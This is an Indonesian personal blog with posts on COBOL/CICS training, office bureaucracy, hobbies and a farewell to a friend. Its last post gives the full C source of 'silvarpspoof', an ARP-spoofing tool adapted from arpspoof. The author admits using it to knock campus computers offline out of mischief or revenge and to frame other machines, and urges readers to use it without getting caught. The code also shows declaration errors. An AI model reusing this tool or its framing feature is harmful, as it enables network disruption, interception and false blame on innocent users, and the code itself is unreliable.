Pelatihan CICS

Ah..

akhirnya pelatihan CICS kelar juga...

Ternyata susah juga bikin program online (lewat cics) menggunakan COBOL
banyak banget bedanya ama program batch...

Gak nyangka, ternyata bikin program online di atas CICS ribet banget..
ada program.. ada map... ada transaction... ada resource file...

ribet ribet...

tapi seru banget sih... (kalo setelah ribet itu muncul solusinya)
Kalo gak.. ya... gak seru :p

Nulis apa ya ?

Mau nulis apa ya ? Bingung euy...
Ada kesempatan mengakses inet tapi malah ga ada ide buat nulis T_T
Padahal jarang2 dapet akses inet kayak gini.. hu hu :((

Duuh.. nulis apa yaaaa.. kenapa gak ada ide...
Kata orang sih, tulis aja whatever yang pengin kamu tulis... tapi kalo asal nulis, berarti blog nya jadi gak mutu doong... (emangnya aku pernah memperhatiin mutu tulisanku ??? :D )

...


Masih bingung... masih belum tau mau nulis apa T_T
Dah ah... ntar nulis nya kalo udah ada ide aja.

I hate bureaucracy

Birokrasi birokrasi....

Ternyata birokrasi benar-benar menyebalkan !
Benar-benar membuat lama dan tidak efektif. Sesuatu yang bisa dilakukan dalam waktu 30 menit bisa jadi 2 minggu lebih, hanya karena birokrasi...

Berapa lama sih waktu yang dibutuhkan untuk membuat account Lotus Notes ? 10 menit ? 30 menit ? OK lah.. 1 jam paling lama (udah sambil ngenet tuh!). Tapi kenyataannya 2 minggu lebih ! Kenapa ?

Birokrasi !

Untuk membuat account Lotus Notes baru, /me harus membuat surat permohonan permintaan account baru (account lama yang rusak dan gak bisa diperbaiki harus diganti baru).
Setelah itu harus minta tanda tangan Manager ku.. sayang, kebetulan managerku sedang di luar kota, so hari berikutnya baru bisa dapat tanda tangan.

Hari ke 2 aku berikan surat tersebut ke bagian administrasi Jar-HW (Jaringan dan Hardware), dan ternyata harus mendapat tanda tangan dari Manager Jar-HW...

Hari ke 3 dapatlah persetujuan dari Manager Jar-HW. Tapi sayang, giliran bagian administrasi yang sibuk... so baru bisa mengentry permintaan ku seminggu kemudian...

10 hari telah lewat...
hari ke 11 bagian administrasi minta ke bagian teknis Jar-HW... kini giliran bagian teknis Jar-HW yang sibuk, dan hari ke 14 baru sempat membuat accountku...

Hari ke 15 beliau datang menginstall Account Lotus Notesku....

fiuh.. 15 hari...
padahal pada hari pertama, ketika aku ngobrol dgn bagian teknis Jar-HW, dia bilang "Sebenarnya sih aku bisa bikin notes Client mu, paling butuh berapa menit.. tapi di sini ada prosedure nya, kamu harus mengikuti prosedurnya"

Birokrasi juga bisa membuat orang jadi "manja"

Dulu aku punya semacam moto "Kalo masih bisa dikerjakan sendiri, jangan minta tolong orang lain!" <-- hasil penggojlokan senior Tele nih

Tapi di sini ternyata hal itu TIDAK BOLEH dilakukan.
Bahkan sekedar membantu memasangkan Kabel jaringan ke komputer, Setting Printer (Add printer di windows) itu juga JANGAN SEKALI-KALI dilakukan.

Kenapa ? Karena udah ada orang yang bertugas untuk itu... (gitu katanya)

ck ck ck...

Padahal dulu apa-apa dilakukan sendiri.. sekarang apa-apa ga boleh dilakukan sendiri... serahkan ke bagian yang bertanggung jawab atasnya !

Kalo bisa cepet sih gpp... lha kalo cuma ga bisa connect ke LAN aja penyelesainnya butuh beberapa hari... minta account Notes 15 hari, minta account vpn... ehm.. udah berapa hari ya ? Kalo prosesnya lama gini... gimana bisa kerja ?? ya gak ?


Tapi..
Mungkin birokrasi memang diperlukan, terutama mungkin masalah pelimpahan tanggung jawab...

Tentu saja teknisi ga mau disalahkan kalo tiba2 aku punya account Note padahal aku gak di authorized untuk mendapatkan akses Notes... Si teknisi bisa bilang "Lha aku kan cuma diminta bikinin itu, ini surat perintahnya, ada tanda tangan manager juga, kalo mau salahin, salahin managernya doong! Gw cuma menjalankan perintah kan!?"

Ah Birokrasi...
Tetep aja aku ga suka kamu !

I love (Pelatihan) COBOL

Humm.. aku suka pelatihan Cobol !!
kenapa suka ama pelatihan Cobol ? Karena pelatihan cobol dilakukan di ruang rapat dan menggunakan komputer. Dan... dari sini /me bisa ngenet :D :D
Asal test udah selesai, /me jadi bebas ngenet, bebas chatting, bebas nge blog :D

Pelatihan Cobolnya sendiri asyik... pengajarnya jago (maklum, udah pengalaman di IBM bertahun-tahun)...

Intinya.. /me cinta pelatihan Cobol ^^

Andai tiap hari pelatihan Cobol :D :D

Fokuskan Hoby-mu !

Duuh.. kenapa aku punya banyak keinginan yang "harus" terpenuhi ya... T_T
sebenarnya sih gak banyak... dan ga terlalu ribet... tapi kok rasanya sampai beberapa saat ke depan belum akan kesampaian ya.. T_T

Mungkin salah satunya gara-gara /me gak pernah terlalu lama FOKUS dalam satu bidang... /me orang yang Moody... mudah melihat "rumput tetangga yang lebih hijau"
Ga pernah bisa diam, menikmati dan mensyukuri apa yang ada, penginnya lagi lagi dan lagi...

Anehnya aku kok gak kerasa capek berada dalam posisi "selalu mengejar sesuatu"... bahkan menikmatinya...

Karena itulah biasanya /me cuma bisa bertahan beberapa minggu di satu bidang, dan kemudian pengin (ngejar) yang lain...

Untungnya sekarang bidang-bidang tersebut sudah agak dibatasin.. (kalo gak dibatesin bahaya ! ) So sekarang kalo udah bosen ama bidang Z maka kembali lagi ke bidang A hue hue hue (tapi masih aja belum fokus namanya)

Kalo ada yang bisa ngasih solusi, please kasih solusi yak, biar list hoby yang belum tercapai ku berkurang :)

1. /me Kepengin bisa main drum dan beli Drum.
Yang udah dicoba : Download video2 Drum, belajar membaca partitur Drum, Beli Stik Drum, Mukul-mukul meja pake stik drum,liatin orang main drum dgn seksama.
Kendala:
Beli Drum mahaaaal... udah survey, paling gak butuh 5jt buat beli 1 set drum yang "lumayan". Les Drum.. /me belum nemuin tempat les drum di Jakarta yang deket atau sejalur dengan kantorku di Sudirman... (maksudnya sih biar gak bolak-balik--maklum, Jakarta macetnya paraaaaah.. )

2. /me pengin jago fotografi.
Yang udah dilakukan : Beli kamera digital (meski hanya kamera poket murahan), Ikutan forum fotografi di forum kampus, jeprat sana jepret sini, selalu bawa kam-dig ke mana aja (sekarang udah gak lagi), pinjem kamera SLR analog ke temanku (Canon EOS88).
Kendala:
Harga kamera SLR yang muaaaahal T_T, Selalu kebingunan "Mau memfoto apa yak?" padahal kamera udah siap, film udah ada, batrey udah kepasang..., Harga cuci cetak film yang mahal (kalo pake analog)

3. /me kepengin nyetir Truk Tronton :D
Yang udah dicoba : belajar nyetir di lapangan (cuma sekali doang.. )
Kendala :
belum punya mobil... kalo ikutan les, kalo ga pernah di pake takut "lupa" lagi... soalnya /me yakin nyetir mobil "hanya" masalah kebiasaan aja (kayak naik motor)

4. Kepengin punya kamar yang punya sound-system bagus
Yang udah dilakukan : Membaca majalah-majalah HI-FI, tanya-tanya temen, jalan-jalan ke toko HI-FI, ngeliatin harga T_T, belajar setting ruangan yang bagus buat sound.
Kendala : Dulu pas punya kamar gedhe di Bandung, /me ga punya uang sama sekali...
Sekarang kamarku kecil banget (dan tetep ga punya uang T_T)

5. Kepengin jadi Snipper (airsoftgun) yang handal
Yang udah dilakukan : Menembaki antena tetangga sampai pecah (ups), menembak burung -- udah 2 burung yang.. (maafkan aku /me janji gak nembakin burung lagi), Beli senapan airsoftgun yang presisinya lumayan bagus (AK47S)
Kendala :
Di Jakarta ini kalo mau ikutan komunitas Airsoft, kayaknya bakalan mahal deh... harus beli vest, iuran bulanan, beli google yang bagus, seragam, etc etc
Gak kayak pas di Bandung dulu, bisa main cuma pake kaos oblong (yang penting pake kacamata pelindung).. /me rindu perang "ndeso" bersama kalian ^^


Humm.. kok kayaknya kedalanya hampir semua berhubungan dengan uang yaaaa... T_T

Perpisahan yang terlalu cepat

Tadi malam, akhirnya temen kosanku yang baik (Cahaya Lestari) meninggalkan kosan untuk yang terakhir kali (pindah kos ke rumahnya di bandung).

Perpisahan tadi malam begitu menyedihkan, karena perpisahannya "telalu cepat".

Kami baru kenal selama 5 bulan.. dan aku suka sekali ngobrol dengannya. Tiap hari sampai kutungguin di depan ruang TV.. cuma sekedar pengin melihat dia dan pengin ngobrol dengannya..

Memang sih dia sudah bilang akan pindah kos per 1 Desember besok karena pindah kerja ke Bandung, tapi ga kuduga dia harus kembali ke Bandung kemarin malam karena dia sakit cukup parah ( demam tinggi sampai 39* C ).

Tari (nama panggilan dia) ini salah satu sahabat terbaik ku. Temen ngobrolku yang asyik (semoga dia juga ngerasa aku orang yang asyik diajak ngobrol :p )

Dia sering cerita mengenai hobi nya, keluarganya, hewan peliharaannya, mantan co nya, teman-temannya (yang baik-baik, yang unik, yang lucu, yang dewasa), cara pandangnya (yang terkadang sinis) mengenai sesuatu, mengenai dia sendiri, mengenai kalori dalam makanan, mengenai perut gendhut yang menular :D, film, musik, novel, kerjaan, Bos kita, Alphard, cara menggaet cewek... everything deh.. !

Aku suka cara dia ngobrol yang unik :)

Ga kusangka, aku merasa sangat kehilangan kamu... Aku tau bakalan merasa kehilangan, tapi gak kusangka separah ini..

Tari, semoga cepet sembuh yaaa dan semoga juga cepet mendapatkan belahan jiwamu...
Semoga kerjaan di Bandung sana menyenangkan (jangan pindah2 teruuus :p ), dan awas, jangan lupa undang aku pas pernikahanmu yak !

Dont forget me yak !

Goodluck friend !

nb :
Kamu masih punya beberapa janji :
1. mau ngasih Foto
2. Mau ngasih No HP Esiamu
3. Mau nonton di bioskop (Blitz)
jangan lupa yak ! :p

silvarpspoof.c -- pengakuan dosa, penjelasan program

Program ini ditulis dalam bahasa C dan bisa di complie di mesin linux dengan compiler GCC.
bagi yang malas meng compile sendiri, mungkin nanti akan saya berikan link ke "executable code" nya.
Program ini membutuhkan library pcap terinstall di komputer

Program ini pernah digunakan untuk memutuskan koneksi beberapa komputer, atau mengisolir suatu subnet tertentu biar tidak bisa connect internet, kadang karena iseng, dendam atau karena alasan yang lainnya. (maafin yaa)

Dan program ini bekerja dengan baik untuk semua komputer di jaringan STT Telkom (entah sekarang masih bisa atau tidak), yang kamu perlu tahu hanya IP address target (dan kalo pengin memfitnah komputer lain, cari juga MAC address si victim -- cara mencari MAC address tidak dijelaskan di sini)

Cara kerjanya sebenarnya cukup sederhana, prinsipnya adalah melakukan ARP broadcast agar ARP table di tiap-tiap komputer yang menerima ARP broadcast tersebut berubah sesuai keinginan kita, sehingga ketika ada paket untuk si A, paket untuk si A tersebut diarahkan ke si B karena ARP tablenya sudah berubah.

Jika yang diracuni ARP broadcast seperti ini adalah router.. tebak sendiri akibatnya.. Yah.. intinya tadi itu yang ada di atas (mohon maaf kalo penjelasannya ga jelas, karena saya sendiri tidak mengerti konsep jaringan komputer :p)

Penggunaannya bisa bermacam-macam, tergantung kreativitas kita :D

Program ini saya modifikasi untuk "memfitnah" komputer lain. Karena apa gunanya kita "nakal" aklo akhirnya ketahuan, betul tidak ?

Namun sayang sekali, dari beberapa kali melakukan tindakan "nakal" tersebut.. dan karena ga pernah ketahuan, akhirnya suatu saat saya lengah, tidak menggunakan fitur penyamaran yang saya tambahkan ketika melakukan tindakan nakal dan komputer juga kutinggal makan ke warung, dan kebetulan sekali (kebetulan yang tidak mengenakkan) saat itu ada Maestro Temon aka Sleepy_eye aka kudanil (kapan ya aku bisa ngalahin orang ini!?) yang kemudian menganalisa dan mentrace ke komputer saya... (Duh...ketahuan deh).

Tapi sebenarnya, setelah ketahuan itu pun, aku masih beberapa kali menggunakan program ini (kali ini dengan mode penyamaran diaktifkan tentunya), karena meskipun mereka curiga, mereka tidak punya bukti apapun bahwa pelakunya adalah saya :D
Dan kebetulan saat itu mereka memiliki musuh bersama (salah satu lab di ged E yang sering membuat ulah). So, kumanfaatin sekalian... (maaf yaaa... gak lagi deh..)

So kalo lain kali mau menggunakan program ini, gunakanlah sebaik-baiknya...
jangan sekali-kali lengah :D


So here we go...

Beginilah penjelasan algoritma nya (bagi yang ga pengin tau cara kerja nya, gpp kok... program bisa langsung dijalankan tanpa perlu tau cara kerjanya )

Mohon maaf untuk maestro yang sudah biasa coding, kalo penjelasannya sangat n00b atau tidak profesional, atau bahkan salah... mohon masukannya yaaa...

Untuk yang baru di programming.. mohon maaf kalo penjelasannya gak jelas.. memang sengaja diuat gitu, biar banyak yang tanya, banyak yang ngasih comment... karena males gak sih udah nulis macem-macem kalo ternyata ga ada yang baca ? :D

So kasih komentar lah.. bertanya lah.. dan kan kuberikan apa yang bisa kuberikan <-- bahasanya guaya banget yak :p

//Bagian komentar.. tidak ikut terkompile dalam program
/*
silvarpspoof.c

Redirect packets from a target (or from all target host) intended for
host on the LAN/WAN to ourselves or to victim.

modified from arspoof by Dug Song

silverant

*/


//File-file Header yang dibutuhkan. Perhatikan bahwa dia membutuhkan library pcap.h


#include "config.h"

#include "sys/types.h"
#include "sys/param.h"
#include "stdio.h>
#include "string.h"
#include "signal.h"
#include "err.h"
#include "libnet.h"
#include "pcap.h"

extern char *ether_ntoa(struct ether_addr *);
extern int arp_cache_lookup(in_addr_t, struct ether_addr *);

//Definisi global variable

static struct libnet_link_int *llif;
static struct ether_addr spoof_mac, target_mac, victim_mac;
static in_addr_t spoof_ip, target_ip, victim_mac;
static char *intf;

//Procedure untuk menampilkan cara penggunaan jika user menjalankan program dengan argumen yang salah
void usage(void)
{
fprintf(stderr, " silvarpspoof, modified from arspoof by Dug Song \n Usage: silvarpspoof [-i interface] [-t target] -v [victim] host\n");
exit(1);
}

//Fungsi untuk mengirimkan paket ARP

int arp_send(struct libnet_link_int *llif, char *dev, int op, u_char *sha, in_addr_t spa, u_char *tha, in_addr_t tpa)
{
// Pendefinisian local variable
char ebuf[128];
u_char pkt[60];

// Jika Source Host Adress kosong, maka...
if (sha == NULL )
{
sha = (u_char *)libnet_get_hwaddr(llif, dev, ebuf);
}
if (spa == 0)
{
if ((spa = libnet_get_ipaddr(llif, dev, ebuf)) == 0)
return (-1);
spa = htonl(spa); /* XXX */
}
if (tha == NULL)
tha = "\xff\xff\xff\xff\xff\xff";

libnet_build_ethernet(tha, sha, ETHERTYPE_ARP, NULL, 0, pkt);



fprintf(stderr, "%s ", ether_ntoa((struct ether_addr *)sha));

// Tampilkan informasi ke screen
if (op == ARPOP_REQUEST)
{
fprintf(stderr, "%s 0806 42: arp who-has %s tell %s\n",
ether_ntoa((struct ether_addr *)tha),
libnet_host_lookup(tpa, 0),
libnet_host_lookup(spa, 0));
}
else
{
fprintf(stderr, "%s 0806 42: arp reply %s is-at ",
ether_ntoa((struct ether_addr *)tha),
libnet_host_lookup(spa, 0));
fprintf(stderr, "%s\n",
ether_ntoa((struct ether_addr *)sha));
}
return (libnet_write_link_layer(llif, dev, pkt, sizeof(pkt)) == sizeof(pkt));
}

//jika mesin linux...
#ifdef __linux__
int arp_force(in_addr_t dst)
{
struct sockaddr_in sin;
int i, fd;

if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
return (0);

memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = dst;
sin.sin_port = htons(67);

i = sendto(fd, NULL, 0, 0, (struct sockaddr *)&sin, sizeof(sin));

close(fd);

return (i == 0);
}
#endif

// Fungsi untuk mencari ARP.
int arp_find(in_addr_t ip, struct ether_addr *mac)
{
int i = 0;

do
{
if (arp_cache_lookup(ip, mac) == 0)
return (1);
#ifdef __linux__
/* XXX - force the kernel to arp. feh. */
arp_force(ip);
#else

arp_send(llif, intf, ARPOP_REQUEST, NULL, 0, NULL, ip);
#endif

sleep(1);
}
while (i++ < 3);

return (0);
}

void cleanup(int sig)
{
int i;

if (arp_find(spoof_ip, &spoof_mac))
{
for (i = 0; i < 3; i++)
{
/* XXX - on BSD, requires ETHERSPOOF kernel. */
arp_send(llif, intf, ARPOP_REPLY, (u_char *)&spoof_mac, spoof_ip, (target_ip ? (u_char *)&target_mac : NULL), target_ip);
sleep(1);
}
}
exit(0);
}

// Main program, semuanya berawal dari sini.
int main(int argc, char *argv[])
{
// Penciptaan dan Inisialisasi variable
int c;
char ebuf[PCAP_ERRBUF_SIZE];

intf = NULL;
spoof_ip = target_ip = 0;

// Parsing argumen (masukkan argumen ke tempat yang sesuai)
while ((c = getopt(argc, argv, "i:t:v:h?V")) != -1)
{
switch (c)
{
case 'i':
intf = optarg;
break;
case 't':
if ((target_ip = libnet_name_resolve(optarg, 1)) == -1)
usage();
break;
case 'v':
if ((victim_ip = libnet_name_resolve(optarg, 2)) == -1)
usage();
break;
default:
usage();
}
}
argc -= optind;
argv += optind;

//Jika Argumen <> 1 maka panggil fungsi usage (tunjukkan cara menggunakannya)
if (argc != 1)
usage();

// Spoof adalah komputer yang dijadikan pendengar (yang meng-catch) paket yang seharusnya ditujukan untuk target.
if ((spoof_ip = libnet_name_resolve(argv[0], 1)) == -1)
usage();

// intf adalah interface yang akan digunakan (misal : eth0 )
if (intf == NULL && (intf = pcap_lookupdev(ebuf)) == NULL)
errx(1, "%s", ebuf);

if ((llif = libnet_open_link_interface(intf, ebuf)) == 0)
errx(1, "%s", ebuf);

// Target adalah komputer sasaran, dimana paket-paket untuk target akan dibelokkan ke spoof
if (target_ip != 0 && !arp_find(target_ip, &target_mac))
errx(1, "couldn't arp for host %s", libnet_host_lookup(target_ip, 0));

// Victim adalah komputer yang ingin dijadikan "sasaran kemarahan" atau korban fitnah :D
if (victim_ip != 0 && !arp_find(victim_ip, &victim_mac))
errx(1, "couldn't arp for host %s", libnet_host_lookup(victim_ip, 0));

signal(SIGHUP, cleanup);
signal(SIGINT, cleanup);
signal(SIGTERM, cleanup);

//lakukan hal di bawah ini selamanya (looping forever)
for (;;)
{
// arp_send(llif, intf, ARPOP_REPLY, NULL, spoof_ip, (target_ip ? (u_char *)&target_mac : NULL), target_ip);
// panggil fungsi pengirim arp
arp_send(llif, intf, ARPOP_REPLY, (victim_ip ? (u_char *)&victim_mac : NULL), spoof_ip, (target_ip ? (u_char *)&target_mac : NULL), target_ip);
sleep(2);
}
/* NOTREACHED */

exit(0);
}

Well... memang betul banyak yang ga saya jelasin di sini... sengaja biar pada tanya :D :D .. yah... sekedar biar blog saya rame :D